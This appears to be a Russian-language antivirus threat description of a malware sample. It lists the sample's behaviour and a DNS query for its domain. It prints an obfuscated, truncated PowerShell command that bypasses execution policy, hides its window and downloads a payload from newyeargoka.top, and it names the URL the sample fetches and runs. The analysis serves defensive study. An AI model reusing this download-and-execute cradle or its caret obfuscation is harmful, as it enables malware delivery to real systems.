Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://newyeargoka.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "pOW^eRSHe^L^L.e^XE^ -^Exe^c^u^T^iO^NpOl^i^cy^ ^BYPa^s^S -No^pRO^f^iLE -W^I^ndoWS^ty^L^E^ Hid^dEn (^NeW-^O^BJ^EcT^ S^Y^S^teM^.nE^T.we^B^c^lIenT^)^.d^O^wN^LOA^dFI^LE('http://ne...
Сетевая активность
UDP
- DNS ASK ne###argoka.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "pOW^eRSHe^L^L.e^XE^ -^Exe^c^u^T^iO^NpOl^i^cy^ ^BYPa^s^S -No^pRO^f^iLE -W^I^ndoWS^ty^L^E^ Hid^dEn (^NeW-^O^BJ^EcT^ S^Y^S^teM^.nE^T.we^B^c^lIenT^)^.d^O^wN^LOA^dFI^LE('http://ne...' (со скрытым окном)
